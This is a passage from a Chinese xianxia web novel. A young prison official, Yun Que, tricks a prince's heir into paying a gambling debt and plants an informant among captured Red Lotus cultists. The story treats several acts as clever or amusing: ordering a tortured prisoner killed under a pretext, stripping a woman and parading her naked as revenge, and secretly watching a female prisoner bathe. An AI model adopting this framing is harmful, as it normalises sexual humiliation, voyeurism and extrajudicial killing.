“大晋三柱国,可不是白叫的,这次草原人和亲,边军会一路护送,到了天祈皇城后,便由礼部和我们刑部接手,事关重大,万万不可大意,在别吉入宫之前,绝对不能出任何差错。” 众人拱手应是。 上官鸿途接着道: “还有一件事,邵武国的璇玉郡主明日将抵达皇城,礼部已经准备好人手保护其安全,我们刑部也不能闲着,派过去十人驻守在使署,协助礼部,直至璇玉郡主与誉王世子完婚。” 使署,是他国使臣抵达大晋后入住的地方,众人再次领命。 上官鸿途轻叹了一声,感慨道: “三年前送他们一人,三年后才如约送来郡主联姻,哼,邵武国还是看不起我大晋呐。” 众人的神色微变,没人敢搭茬。 云缺从上官鸿途的话中,听出了玄机。 三年前大晋送给邵武国的人,应该就是穹金! 原来当时皇帝与邵武国还有私下的交易,以穹金换邵武国一名郡主联姻,只不过这份联姻一直拖延了三年之久,如今才兑现。 “虽说璇玉郡主与誉王世子联姻,利害关联不算什么,总归是件好事,等将来两国的公主与皇子联姻,大晋之东,才算安稳。” 上官鸿途眸光变亮,道:“邵武国联姻,草原人求和,只要一切顺利我大晋将再无外敌,可以好好的休养生息,用不了多久,兵力即可赶超邵武国,成为真正的云州强国!” 北方妖都覆灭,晋国的外敌只剩东边的邵武国与南方的草原蛮人,这两处威胁若能解决,晋国将再无外忧,这也是皇帝和一众朝臣所期待的结果。 云缺从犁术口中得知,璇玉郡主是邵武国的御王朱寿之女,而这个御王,便是当年觊觎穹家姐妹美貌,不惜陷害穹金的罪魁祸首。 得知是此人之女,云缺觉得那璇玉郡主估计也不是什么好饼,一个混蛋老子,养出的子女大概率也是混蛋。 为了即将到来的两次联姻,刑部显得更加忙碌起来。 云缺也跟着瞎忙活。 好在提牢司主要管天牢,护卫郡主和别吉那种事,跟他没什么关系。 不过上官鸿途提及的誉王世子,却跟云缺有着很大的关系。 那家伙还欠着三千两赌债呢! 这事儿云缺可没忘。 赌舞仙子开口的账本,就在云缺手里,还差一个殷滔没给钱。 别说三千两,三两银子云缺都得去要。 自从还了房石与吴鹰的丹药钱之后,云缺身上只剩下原本自己的那点积蓄,总共几百两,在藏石镇算得上一笔财富,在天祈城里实在寒酸得很。 连买两根金沙草都不够。 皇帝赏赐的万两白银看着是不少,但比起宗师境需要的百万银钱就显得不值一提了。 所以银子这种东西,对云缺来说多多益善,越多越好。 晚饭在刑部吃的。 学宫里要钱,这边免费,而且还能顺便给阿梅带一份。 占便宜这一块,云缺绝对是祖宗级别。 回到百花殿,天已经黑了。 前阵子不是赌斗就是面壁,云缺没空找欠账的殷涛,今天正好没事,云缺找人打听了一番,得知誉王世子殷涛就在东楼。 “今晚要账!” 云缺冷笑了一声,先去演武殿找到梅钱。 “说好了一百两,钱要来了,你可不许赖账。”梅钱道。 “亲兄弟明算账,我什么时候说话不算数了。”云缺道。 两人回到百花殿后,先寻找殷滔的踪迹。 恰巧今天东楼先生兴致大起,在楼下架起个大炒锅,拿着铁锹大的锅铲在卖力翻炒,里面不知是什么材料,看起来血肉模糊的。 一众东楼学子全都捏着鼻子站在旁边,心惊胆战。 先生今天发话,所有东楼学子都得尝尝他的新手艺。 在人群中锁定殷滔后,云缺与梅钱互相对视一眼,同时挑起嘴角,冷笑着围拢过去。 两人的架势,像极了在山林中围猎妖物的模样。 第111章 猪会上树 殷滔此人身形魁梧,生得高高大大,穿金挂银,一身贵气,在人群中颇为显眼。 身为誉王之子,皇帝的亲侄子,殷滔从生下来便地位显赫,仆人丫鬟无数,以至于养成了一种孤傲的脾气,哪怕在学宫里,看人都用鼻孔,一副高人一等的气质。 在学宫里求学的皇家子弟并不少,大多不在学宫居住,晚上会回到自己的府邸。 因为学宫里没有下人伺候。 对那些衣来伸手饭来张口的皇亲贵胄来说,身边没有仆人,实在是一件难熬的事。 殷滔最近几天都没来学宫,因为养了一房小妾,整天在府上寻欢作乐,今天被他老子给撵了出来,才不得已到了学宫,本来打算混一天就走,怎奈东楼先生不许学子离开,都得围观做菜。 殷滔正心生不满,想着快些回府与小妾玩乐,忽然听到旁边有两人在争执。 “你欠我的二两银子今天必须还!” “什么叫欠你?随口一说而已,你还当真了,谁知道那头猪真会上树。” “少来!字据在这呢,白纸黑字,当时我说猪会上树你不信,非得赌二两银子,你输了就得还钱。” “不还能怎么样,赌债而已,谁当真呐。” “欠债还钱天经地义,赌债也是债,欠钱不还的生儿子没有肚脐眼!” “我不生儿子,只生闺女,你能奈我何。” 两人争执的声音不小,周围人都听得见,尤其在殷滔旁边,他听得最清楚。 正奇怪着怎么猪还会上树呢,殷滔就见旁边那扫帚眉的年轻人朝他求援道:“这位师兄你给评评理,他欠我的二两银子,该不该还!” 殷滔嗤笑了一声,鄙夷道: “二两银子的赌债都还不起,你还指望他生儿子没肚脐眼?估计他连婆娘这辈子都找不到。” 周围其他几个学子也觉得气愤,纷纷指责欠钱不还的云缺。 梅钱义正言辞的道:“公道自在人间!欠钱不还,连猪狗都不如!赶紧还钱!” “还你就是了,又不是给不起,我可不想做猪狗。” 云缺做出一副认命模样,拿出二两银子交给梅钱,随后转向殷滔,高声道:“我的赌债还清了,世子殿下,你的三千两赌债,也该还我了吧。” 殷滔愣在原地。 他自己都不知道什么时候欠了那么多赌债,眼前的年轻学子他根本不认得。 梅钱也怔住了,随后龇牙咧嘴,恨不得冲过去咬死云缺。 他这才知道自己被拉下水了。 云缺之前对他说的三百两赌债,原来是三千两! 而家里开酒楼的富家子弟,居然是亲王世子! 梅钱现在悔得肠子都青了,偏偏无可奈何,戏已经演完,他就被一脚踹开,拿了一百两好处,却得罪了亲王世子,实在得不偿失。 殷滔很快清醒过来,怒视着云缺道:“胡说八道!我根本没见过你,何时欠过你的钱!” “世子殿下别急,听我慢慢道来。” 云缺将记载赌约的纸张拿了出来,道:“关于舞仙子的赌约,想必世子应该没忘,你当时下注三千两,恰巧半月前舞仙子开口与我说话,当时不少人都在,房石师兄也可作证,其他人的赌债已经清还完毕,只差世子一人,殿下该还钱了。” 房石就在人群里呢,听到自己的名字,他一个劲咧嘴,跟梅钱此刻的心情差不多。 殷滔这时恍然大悟,随后愈发愤恨起来。 他当时只是气话而已,当天他厚着脸皮搭讪穹舞三次,结果人家根本没理他,殷滔一怒之下说出三千两赌注。 本以为最后肯定是他这位世子殿下才能令舞仙子开口,结果被一个无名之辈捷足先登,殷滔又气又恼,恨透了眼前讨账的云缺。 三千两而已,他不是拿不出,堂堂誉王世子,这点钱不算什么。 但殷滔咽不下这口恶气! 他根本没想过给钱,怎奈云缺和梅钱刚刚演了一出好戏,大骂欠债不还者猪狗不如。 最绝的是,殷滔偏偏还中了计,亲口说云缺这种欠二两银子不还的家伙连婆娘都讨不到,儿子更生不出来。 他要是今天不还钱,那刚才他骂出的话,他自己就得全接回去。 众目睽睽之下,殷滔实在丢不起这份人。 狠狠瞪着云缺,殷滔怒声道: “行!三千两是吧,我现在身上没带那么多银票,过两天给你就是!” 云缺摇头道: “好饭不怕晚,赌债最怕欠,我已经等了半个月才看到殿下,这笔账不能再拖了,世子殿下还是现在结清为好,若实在没有银票,用些金银首饰抵账也是一样的。” 对于欠债这种事,云缺和梅钱的观点是一样的。 宁可我欠天下人,不让天下人欠我。 尤其‘过两天给你’这种说辞,云缺可太熟悉了。 当初借给梅钱一百两,那孙子就是这么敷衍的,一百两银子,足足拖了两年都没还上。 一要钱,就说过两天给你,直接过了两年,也没见着钱。 到时候殷滔整天不见人,去哪找他去,总不能去誉王府要账,府上肯定有不少护院高手,没准打起来。 殷滔浑身上珠光宝气,脖子上挂着价值万金的乌金链子,左右腰间各悬着价值连城的血玉,帽子上镶嵌的珍珠有指甲那么大,还是一圈儿,简直是行走的珠宝库。 不用多,随便从这位世子身上拿一件珠宝,足以抵得上三千两的赌债了。 殷滔有心发作,想了想这里是学宫,又忍住了,冷冷的瞥着云缺,嘴角挑起一抹冷笑。 随后殷滔将大拇指上的一个墨玉扳指摘了下来,道: “此物足以抵得上三千两银子,押在你这好了,小人总能看到小利,看不到大富大贵。” 殷滔指桑骂槐,说云缺没眼光,得罪他这位亲王世子,只能得到点小钱儿,却错过了天大的富贵,以后肯定没有好日子过。 云缺才不在乎。 自己富贵与否,或许与贵人有关,但云缺很确信这个誉王世子,肯定不是自己的贵人。 一个喜欢争风吃醋的世子,仗着出身好而已,若没有世子的头衔,屁都不是。 接过墨玉扳指,云缺看了看,仔细收好,微笑道: “世子殿下果然守信,不过这件扳指我只保管两天,两天后你若不拿三千两银票来换,对不住,我只能把东西送到典当行。” 云缺没心思与这种人浪费时间,两天期限,已经算给对方面子了。 “好!” 殷滔当即答应下来,不过嘴角的冷笑却带着一份阴险。 他就没打算用银票来换那扳指! 因为墨玉扳指是皇帝御赐之物,殷滔就等着云缺卖出去呢,只要敢卖,那云缺便多了份私自售卖御赐之物的罪名,皇帝若得知,肯定龙颜不悦,云缺到时候就倒霉了。 而他殷滔却有说辞,我押出去的东西而已,谁让你云缺给卖了。 殷滔打算到时候把罪名全推在云缺身上,借皇帝之手,让眼前这个可恨的家伙从世上消失。 借刀杀人! 阴险的殷滔,已经对云缺起了杀心。 大锅里的食物已经做好,周无机瞪着眼睛,分给在场所有学子一人一份,必须都吃完。 于是毫无意外的,又吐了一大片。 云缺还好,只是觉得有点恶心,将事先说好的一百两银票分给梅钱。 “不听老人言吃亏在眼前,我就该听劝,离你这个扫把星远远的!呕……”梅钱干呕着骂道。 “听谁的劝?哪个老人劝你离我远点了?”云缺狐疑的道。 “听……”梅钱神色变幻了一下,硬气道:“听我爷爷说的!” “你爷爷不是早死了么。”云缺道。 “我爷爷昨天托梦给我,让我离你远点!你以后少来找我!” 梅钱干呕着逃回演武殿,并发誓这辈子再也不来百花殿。 被坑了不说,还差点说漏嘴,又被强行灌了一碗血肉模糊的恶心东西,他已经欲哭无泪。 瞧了瞧不算太晚,云缺也去了趟演武殿,用犁谷的书牌走进藏书楼。 不来不知道,一到演武殿的藏书楼,云缺都不想出去了。 这里简直是武者的圣地! 海量的各类功法,看不完的强者心得,云缺都想直接住在藏书楼。 一夜没合眼,直至天光放亮,云缺才恋恋不舍的走出藏书楼。 白天还要到刑部当值,他无法整天留在学宫。 “要是能分身就好了……” 云缺不无感慨的自语着。 其实刑部那边没什么大事儿,有犁术盯着,他这位提刑官去不去没区别。 到了也是干坐着,有活儿的话,自然手下人去忙。 “晚上找墨老问问炼尸术。” 云缺打定主意,最好自己能修成炼尸术,再找个合适的炼尸伪装成自己的模样,堂堂正正去刑部摸鱼。 自己的本体就能留在学宫天天修炼了。 一路上,云缺始终想着炼尸术的事儿。 从学宫到刑部,足足一个时辰的路程,天天这么折腾,实在浪费时间。 到了天牢,云缺先找犁术打听一番刑部这边有没有传送阵之类的东西,结果犁术直晃头。 刑部有万里传讯手段,却没有在天祈城里各处传送的法阵,如果想传送,只能自己施展,或者购买昂贵的传送符箓。 在刑部闲来无事,云缺开始翻看有关红莲教的卷宗。 自从皇帝下旨清缴红莲教,刑部便开始在晋国各地追查红莲教余孽的线索,倒是找到不少教徒,但对方被发现身份后会拼命反抗,以至于绝大部分都被当场击杀,最近只抓到两个活口。 看过卷宗后,云缺打算亲自去天牢里瞧瞧那两个红莲教的活口。 看看能不能得到些有用的线索。 第112章 一钩香饵钓金鳌 牢房内,云缺见到了两个红莲教余孽。 是两个男人,一个年岁大些,一个比较年轻,都用过了大刑,被折磨得奄奄一息。 云缺问了问话,对方只能哼唧两声。 问过负责刑罚的狱卒,结果毫无收获,这两人嘴硬的很,什么也不肯说。 离开牢房,云缺吩咐狱卒暂停用刑,并叫来天牢里的郎中,给两人治伤。 这两个活口还有用,不能就这么打死了。 嘴硬没关系。 云缺有办法让两人开口。 不过需要一个中间人,扮演红莲教教徒的角色,让两人相信对方是自己人,自然会套出消息来。 云缺已经露面,而且有官职在身,不适合扮演红莲教的人。 云缺觉得最合适的人选,是黑风寨的瞎子。 瞎子擅长伪装,更擅长打探消息,不到半月就从八山城查出胡子的身份,可见其能力有多强,简直是天生的斥候。 瞎子是个人才,可惜在与火烛使者宏河一战中,已经被杀。 云缺并不认为常威瞎子和萍山君能在六品强者手里还有活路。 走在天牢昏暗的通道内,云缺思索着卧底的人选。 经过阿梅的牢房时,停步看了看,发现阿梅还卷缩在角落里,好像始终没动地方。 听到脚步声后,阿梅抬起头往外看来,眼眸里多了几分光泽。 “今天想吃点什么。”云缺问道。 对方不回答,一声不吭。 “没胃口么,那我吃什么,你吃什么好了。” 云缺说得理直气壮。 反正他在刑部吃饭,吃完正好给阿梅捎带一份回来。 可不就是我吃什么你吃什么。 见阿梅的状态好转了不少,云缺就此离开。 没走出多远,又停了下来。 扭头看去,隔壁牢房的石头正一脸讪笑,点头哈腰。 看到石头,云缺目光一亮。 人选有了! 打开牢门,云缺坐在石头对面的木床上,微笑道: “住得如何,天牢里舒服么。” “老大说笑了,这里暗无天日的,哪能舒服。”石头满脸赔笑道:“恭喜老大升官!老大今后肯定节节高升,平步青云!等我出去了,一定请老大好好喝一顿!” “少来套近乎,你的案子我看过了,三天两头伤人,进来一次关个一年半载就能出去,对你这种惯犯实在太轻了。” 云缺沉着脸,道:“不用重刑,犯人不会开口,不施重罚,地痞屡教不改,我打算一次关押你三十年,如此一来,才能震慑你这等宵小,你出去了,也不敢再犯案。” 石头一听三十年,顿时脸色大变,急忙跪地求饶,连连叩头道: “大人饶命啊!我以后不敢了,出去后肯定金盆洗手,再也不敢为非作歹!真要关上三十年,我非死在天牢不可呀!” 关个一年半载没什么,混一混就出去了。 可一旦关押三十年,出去后石头都是个老头子了,别说继续做他的账房先生要账,连乞讨恐怕都没了力气。 石头被吓得不轻,更不解着为何云缺要拿自己开刀。 他快速回想,觉得自己没得罪这位呀。 “不想关那么久也行,替我做件事,办得好了,非但不用做三十年牢,过几天你就能出去。” 云缺老神在在的道。 官威这种东西,云缺第一次体会,简单来说一句话。 真他娘的好用! 石头恍然大悟,连忙赌咒发誓的道: “大人您吩咐!刀山火海,我石头肯定一眼不眨!退一步,我是狗娘养的!” “这件事谈不上多凶险,只要你机灵点,自可安然无恙。” 云缺点点头,道:“本官不仅是提刑官,掌管天牢,还是太子伴读东宫行走,我在外面也有不少账收不回来,正好缺个账房先生帮我管管账。” 石头一听就明白,人家这是点拨自己呢,混江湖的哪能还不懂,急忙跪拜道: “大人您说,究竟要我做什么事,只要不是掉脑袋的罪名,我石头绝对帮大人办妥!” 云缺见差不多了,直接道出让石头混进红莲教刺探消息的目的,先从天牢里的两个红莲教徒入手。 “红莲教……我好像听说过,是个很低调的教派,多在偏远城镇出没,具体情况并不清楚,大人放心,这件事包在我身上!”石头信心十足的道。 云缺告知了石头红莲教的口号,又给了他一支红烛和火折子,最后命人找来些血迹,涂抹在石头身上。 天牢里最不缺的就是血,等伪装一番之后,石头变得可怜兮兮,如同被用过大刑似的。 “还差点意思,闭眼。”云缺道。 石头下意识的闭上眼,随后被云缺一拳砸在脸上,鼻口窜血。 石头被打得原地转了三圈,懵了半晌才缓过劲儿来,随后被关进了两个红莲教教徒的牢房。 下午的时候,云缺找到侍郎上官鸿途,将自己的打算和盘托出。 在云缺的计划中,如果石头成功博取两名红莲教教徒的信任,也许会得到些线索,但肯定不会太重要,那么下一步,就要继续放长线钓大鱼,制造一起意外,故意放走红莲教的教徒,让石头跟着对方一起逃。 如此一来,石头才有机会真正打入红莲教,从而找到红莲教重要的线索。 听完云缺的计划,上官鸿途眸光微亮,颔首赞道: “放蛇归山寻龙迹,一钩香饵钓金鳌,好计谋!” 上官鸿途再次打量了一番云缺,目光中多了几分郑重。 之前他只觉得云缺是托了灵芸郡主的人情,才一举做到五品的官职,毕竟单单护送灵芸郡主这一份功劳,就足够加官进爵了。 上官鸿途始终认为云缺是个毛头小子,想要在刑部站稳脚跟,需要多年以后了。 可如今,上官鸿途发现面前这个年轻人,绝非等闲之辈,这份心智,对上朝堂上的衮衮诸公也不落下风,绝对是卧龙凤雏之兆。 上官鸿途为官多年,眼光老辣,看得出五品官职肯定不是云缺的尽头,恐怕用不了多久,人家就能爬到自己的头上。 “大人谬赞了,我只是平常在大人的教诲中,多学了些东西而已。” 云缺谦虚了一句后,道:“若计划能成功,需要放走红莲教的人犯,大人觉得是否可行。” 以云缺如今的官职,是无权私自放走天牢重犯的,需要请示上司才行。 上官鸿途略一沉吟,道: “两个半死的红莲余孽而已,大可利用一番,这件事你全权做主,若当真钓出了大鱼,我亲自为你向陛下请功。” 有了侍郎背书,云缺终于可以大施一番拳脚。 另一边。 石头被关进新牢房后,看到了两个半死不活的家伙,两人皮开肉绽,血肉模糊。 好在刚刚上过伤药,血已经止住,但两人伤势太重,一时间还起不来,只是睁眼看了看石头,没人开口。 石头知道这次是自己的投名状,必须好好把握,于是按照云缺的吩咐,不跟对方说话,自己坐在角落里揉着脸。 云缺那一拳打得不轻,石头到现在还觉得脑瓜子嗡嗡的。 缓和了大半天,等到入夜,石头鬼鬼祟祟的躲在墙角,用火折子点燃那只红烛,嘴里嘀嘀咕咕,用很小的声音说出‘红烛不灭莲台永存’这几个字。 天牢里很静,两个红莲教的教徒隐约听见了石头嘀咕的口号,于是两人目光惊讶的互相看了眼。 其中年轻的最先开口,声音虚弱的道:“喂,你在做什么呢。” “哦没什么,祭奠祖先呢,这就吹灭,不打扰你们休息。”石头故作慌张的熄灭了火烛,将半根红烛重新收好。 又是一阵沉默。 年纪大些的红莲教教徒突然说道:“红烛不灭!” “莲台永存!”石头紧跟着说了下半句,随后惊讶道:“你们也是……” 年轻的教徒刚要承认,被年长的教徒一把按住,此人虚弱的笑了笑,道: “我们也是卖蜡烛的,你的红烛不错,应该不便宜。” 说完这句,两个教徒不再吭声,闭着眼休息,不过那年轻的教徒显然有些躁动,不安的翻来覆去,好像憋着什么心事。 石头不再说话,找个位置闷头睡觉。 这一幕,躲在暗处的云缺看了个真真切切。 云缺冷冷一笑,对跟在旁边的犁术吩咐道: “老的那个红莲教教徒,可以处理掉了,找好借口,别让另一个生疑。” 犁术知道云缺的计划,立刻会意,道:“下官明白,那老家伙看不到明天的太阳了。” 红莲教余孽都是死罪,既然得不到供词,那么何时弄死,刑部说了算,没人会过问。 安排好之后,云缺返回学宫。 石头的任务,不是一天两天能完成的,反正云缺也不急,更没报多大希望,只当一次尝试。 到了西楼,见三楼一间屋子亮着灯。 墨老既然在,云缺正好去请教一番炼尸术的修炼。 墨老今天心情不错,很有耐心的指点了云缺半宿时间。 对于炼尸术,云缺终于有了点眉目。 尽管还是修不成,好歹找到点路了。 临走前,云缺问了个自己比较关心的问题。 “若修成炼尸术,并且炼制出一具合适的炼尸做分身,怎样才能将分身的模样,改造得与自己一样呢。” 墨老闻言不屑的哼了声,道: “改换面貌最为简单,易容术之类的均可办到,或者以傀儡之法改造,傀儡殿专门教那种偏门,随便弄本傀儡术,学学就会。” 云缺听得好笑。 就墨老这种活鬼般的先生,没事儿不是炼尸就是摆弄尸骨,居然还有脸说别人偏门。 第二天,没等云缺出门,房石找了过来。 没别的事,给云缺推销一种养元丹。 说是宗师必备之物,对各派系修士都有极大助力,武者服用后可洗练周身经脉,滋养元神,一粒需要纹银三千两。 云缺有所耳闻,知道养元丹很贵,几乎是七品武夫必吃之物,而且需要大量进服才能达到最佳效果。 可惜实在太贵,云缺现在还舍不得买。 身上虽然有皇帝赏赐的一万两,可到了七品之后处处用钱,云缺也得省着花才行。 回到刑部,得知红莲教那个年纪大些的教徒已经死掉,死因是狱卒送晚饭的时候,对方将饭菜弄洒,被狱卒暴打一顿后,不治而亡。 云缺很清楚狱卒下手的窍门。 能打得遍体鳞伤而筋骨无损,外表看着伤势极重其实都是皮外伤,也能几下重击之后,外表看着毫发无损,实则非死即残。 石头的进展不多,偶尔能与年轻的红莲教教徒说上两句话而已。 云缺白天在刑部的时候修炼武道,继续打熬本体,晚上回学宫则去找墨老请教炼尸术。 如此过了两天。 云缺不爽了。 因为殷滔还没来赎回墨玉扳指! 打听了一下,对方这两天根本没来学宫。 “好一个誉王世子,想赖账是吧,在我这门儿都没有!” 云缺是什么人? 常年斩妖为生,天天杀戮为伴,何时惯过旁人。 既然对方不还钱,那就卖了扳指。 先去问了问房石收不收,对方把脑袋摇成拨浪鼓,他知道事情经过,自然不肯趟浑水。 房石不收,天祈城里有的是当铺。 云缺将墨玉扳指带在左手,大步走出学宫,拐过转角的时候,看到路边站着个陌生丫鬟,直打量自己,尤其往自己左手多看了好几眼。 云缺不认得对方,也没在意,正要去找当铺,对方居然追了上来。 “公子留步,我家小姐有请!” 第113章 第一次吧 听到丫鬟说小姐有请,云缺以为是牧青瑶的人,于是跟着对方绕进一处小巷。 走了半晌最终来到一架马车处。 车厢关得严严实实,有着车马行的标记,应该是租赁的。 云缺满头雾水,想不通牧青瑶怎么租赁马车,还停得这么远。 上车一瞧。 里面端坐着一名陌生的绿裙女子,妆容精致,模样还算不错,只是眼角上挑给人一种居高临下的高傲刁蛮之感。 “你是哪位?” 云缺疑惑道。 绿裙女子淡笑着比量个请坐的手势,并未开口,而是鼓捣起茶道,马车也随之缓缓前行。 车厢里点着檀香,随着茶香渐浓,二者混合成一种特殊的香气,闻之令人昏昏欲睡。 女子的茶道十分复杂,又是烫杯温壶,又是摇香洗茶,鼓捣了半晌还没好。 云缺坐了一会儿,不耐烦的道: “我不认得阁下,没事的话,告辞了。” 说罢就要走。 “好茶需要细品方可,公子莫非连这么点时间也等不得么。”绿裙女子开口道。 “你到底找我有何事。”云缺皱眉道。 “品茶,谈心。” 绿裙女子微笑着回答,将一杯刚刚泡好的茶递给云缺,道:“尝一尝,味道如何。” 云缺接过茶杯瞥了眼,顺手将其倒掉。 “酥骨散这种东西,无色无味,但有个特点,不易融于沸水,最好下在温水里。” 云缺冷冷一笑,道:“姑娘下毒的手法太幼稚了些,第一次吧,下次记得等茶凉了的时候再下药。” 绿裙女子被拆穿后,丝毫不惊,淡笑道: “没关系,茶水无效,还有檀香,你闻了这么久,很快就会动弹不得。” 云缺慵懒的倚在旁边,装出一副有气无力的模样道: “糟糕!你这女人好卑鄙!就算我动弹不得能怎样呢,难道你要非礼我吗?” 檀香的确有问题,里面加了药,毒翻个壮汉轻而易举,但对于七品武夫来说,半点用都没有。 车外传来熙熙攘攘的声音,马车已经走上了大街。 云缺心里愈发奇怪,自己都不认得对方,怎么上来就给自己下药呢? 什么时候结的仇? 难道是红莲教的人? 绿裙女子被云缺的假象迷惑,终于现出狰狞模样,咬牙切齿骂道: “区区下国之人,也配娶本小姐!癞蛤蟆想吃天鹅肉,做你的春秋大梦去吧!” 绿裙女子一边骂着,一边开始撕自己的裙衣,很快变成一副衣不遮体的狼狈模样。 云缺看愣了。 这人有病吧! “来人呀!非礼啦!救命啊!!!” 绿裙女子尖叫起来,声音传出老远,街上的人群纷纷回头望向马车方向,不知发生了什么。 赶车的车夫与刚才那丫鬟听见声音,立刻冲进车厢。 “贼人大胆!” “敢轻薄我家小姐,你死罪!” 两人刚说出一句话,没等站稳就被云缺一拳一个给打飞了出去。 绿裙女子豁然一愣,惊讶着中了毒的云缺怎么还能行动如常。 “你这套路,我三岁的时候就觉得不新鲜了。” 云缺冷眼瞥着对方,道:“既然你这么喜欢让别人看,好办,我帮你一次。” 云缺一把抓起对方,将其身上的裙衣全给撤掉,然后带出车厢,绑在了马车前面。 这下子围观的众人议论大起,指指点点,惊呼声怪叫声不断。 绿裙女子始终陷入震惊当中,等她发现自己不着寸缕被无数百姓围观之后,发出一声恐怖的尖叫。 啪! 云缺一巴掌抽在马匹上。 拉车的马儿在长街上欢快的奔跑了起来,缓缓远去。 “有病得治啊。” 云缺嘀咕了一句。 给自己下套儿的人,云缺从来不惯着。 你砍我一刀,我就砍回去十刀,你害我一次,我就直接宰了你。 若非感受到对方没有修为,云缺不可能如此轻易放过那女人。 游街的惩罚,已经算轻的了。 在城内找了家当铺,墨玉扳指不多不少,换了三千两纹银。 云缺心情不错。 在藏石镇,想要赚上三千两,不知要猎杀多少妖物才能凑够。 到了天祈城,没出一个月,不算皇帝赏赐,已经接近五千两入账了。 赚得虽然多,可花费更加惊人。 养元丹那玩意一粒就要三千两,谁能吃得起。 离开当铺,正好经过一座青楼。 楼上的女人浓妆艳抹倚在窗口,朝着云缺招手道: “小哥儿,上来听个曲儿呀!” 云缺抬头看了眼,道:“行啊,免费吗。” 女人翻着白眼道:“你想多了,世上哪有免费的曲儿可听,姐姐可以给你多唱几个。” 云缺呵呵一笑,道:“你也想多了,想赚我的钱,做梦吧。” 天牢里有免费的曲子听,犹如天籁,傻子才花钱上青楼听那些俗曲儿。 想起阿梅的歌声,云缺暗暗回味,听过一次实在令人难忘。 可惜阿梅最近不知怎么,话也不说,曲儿更不唱了。 回到刑部。 云缺先观察一下石头的进展。 发现石头偶尔与仅剩的那名红莲教徒时而耳语着什么,看样子两人混得挺熟。 再有几天,时机就差不多了。 云缺开始思索下一步计划。 抓人容易,放走就难了。 这里是刑部天牢,可不是藏石镇那种偏远小镇的牢狱,刑部天牢有大批军兵驻守其中不乏武道高手,又有法阵运转,想从天牢逃出去,比登天还难。 制造混乱让两人逃走,并不现实,很容易被那教徒怀疑。 闯出去更夸张,就石头那点能耐,两个狱卒就能把他打趴下。 很快云缺想到个最佳方案。 诈死! 找一种药,能让人暂时失去呼吸心跳,又不会立刻死亡,过一段时间即可恢复过来。 如此一来,只要两人假死后,肯定会被当做尸体处理,扔出城外,顺理成章逃出天牢。 到时候那红莲教徒绝不会怀疑石头的身份,只会觉得石头是他救命的恩公。 “回去找墨老问问,他假死用的什么丹药,看看能不能弄来点。” 云缺忽然一拍脑门,恍然道:“笨呢!用什么假死药啊,找点便宜的迷心散揉成丹丸,就说是假死丹,让那教徒以为自己假死成功不就行了。” 刑部定下的计划,天牢这边本就知情,再找假死药属于白费力气,只要红莲教的教徒吃下迷心散昏厥一阵子,到了城外乱葬岗再醒来,他自然以为吃的是假死丹。 吃过午饭,云缺捎带一份给阿梅送了去。 牢房里的两棵梅树已经相继开放,花香四溢,穹音正坐在一棵梅树前,默默望着眼前的梅花。 梅花开得正艳,可穹音的眸子则暗淡无光,仿佛藏着沉甸甸的心事。 当当。 云缺敲了敲铁栏,道:“别看了,开饭了。” 将饭菜放在对方面前,云缺坐在一旁。 穹音目光冷淡的瞪着云缺,眼里仍旧残存着恨意,不过很快她便挪开目光,开始吃饭。 云缺看得大为感慨。 美人就是美人,连随便吃个饭,都令人觉得赏心悦目。 “天牢里数你伙食最好,小心吃胖了。”云缺调侃道。 穹音不抬头,默默吃着食物。 云缺坐了会,见对方还是不肯说话,起身走向门口。 刚要出去,身后传来穹音沙哑的声音。 “我想沐浴。” 云缺停住脚步,回头看了看,牢房里没有遮掩的东西,也没有木桶,实在不方便。 “可以,吃完我带你去。” 云缺道。 天牢里的囚犯,是没资格洗澡的,刑部不提供这种待遇。 不过若是给狱卒些好处,这么点小事,不难办到。 等穹音吃完,云缺将其带到自己办公的房间。 提刑官掌管整个天牢,住的地方自然是最好的,房间里就有浴桶。 命狱卒打来热水,云缺关好门,往浴桶对面一坐,道: “你是重犯,带你出来已经算通融了,本官得盯着你才行,洗吧,我不回头就是了。” 说完云缺将椅子一转,背对着穹音。 屋子里沉默了好一会儿,才传来衣物窸窸窣窣的响动,随后水花轻响。 云缺的确说到做到,绝对不回头。 抬起右手,端详着自己的掌心。 掌心自然没什么好看,不过云缺的掌心很快多出了一节刀身。 妖刀从掌心浮出三寸,锋利的刀身犹如一面小镜子,清晰倒映着身后的美景。 尽管上次在牢房里将对方看了个遍,再次看到,云缺仍旧觉得惊心动魄。 实在养眼! 正欣赏着美景呢,刀身上忽然多出一只细长的血瞳,眼睛弯曲着,好似在嘲笑。 “滚!你挡住我了!” 云缺低声骂道,同时心头暗惊。 以往只有在动用妖力的前提下,刀身才会睁开妖瞳,妖刀随之威能大增。 现在自己根本没沟通妖魂,更没动用妖力,妖瞳居然自行浮现,而且还是一副嘲笑的神色! 云缺觉得自从进阶七品开辟神藏识海见到妖魂本体后,对方与自己的联系变得更深了一些。 这可不是什么好现象。 妖魂如果没事儿就出来的话,会被人察觉不说,更容易出事。 云缺深知身上的妖魂绝非善类,那家伙是会吃人的! 哗啦,哗啦。 陷入沉吟的云缺,很快被耳畔传来的水声惊醒。 抬头一看,穹音不知何时站在了面前,不着寸缕,身上挂满水珠。 “你不是喜欢看么,今天看个够!” 穹音的俏脸上没有羞涩,充满了悲愤,一双美目被恨意填满。 云缺尴尬了一下,看了两眼后,起身走向门外。 关门的时候,听到穹音沙哑的声音传来。 “我恨你!” 站在门外,云缺无奈一叹。 女人太不好哄了。 自己又买梅树,又唱曲儿,外加天天给送饭,结果人家还是不买账。 “不就弄哭你一次嘛,至于么。” 云缺倍感无奈,愈发觉得阿梅与以往截然不同。 不仅脾气大,还哄不好,像个倔强的大小姐似的,跟以前杀了人还能安稳如常的状态简直判若两人。 尤其那种愤恨的目光,让云缺不由得想起了学宫里的舞仙子。 眼神简直一模一样。 将沐浴过的穹音送回牢房后,刑部传来一个惊人的消息。 昨天刚刚抵达皇城的邵武国璇玉郡主,出事了。 第114章 逗你玩呢 梅香楼,皇城内最贵的青楼之一,被称为销金之窟,没有万贯家财,没人敢上楼,能在此地玩乐的,均为豪门巨富,甚至皇族子弟。 殷滔正与一群衙内在梅香楼吃酒。 这位世子殿下一手搂着一个美人,喝得醉眼迷离。 “天下美人无数,唯独学宫里的美人才能称之为极品,外面的,全是庸脂俗粉!”殷滔笑骂道。 “世子殿下何时在学宫里娶个小妾,让我们也好开开眼界,嘎嘎!” “听说学宫里有个舞仙子,跳起舞来那叫一个漂亮,真想去瞧瞧,可惜考不进去呀!” 几个衙内喝得不少,大声说笑着。 其中一名衙内调侃道: 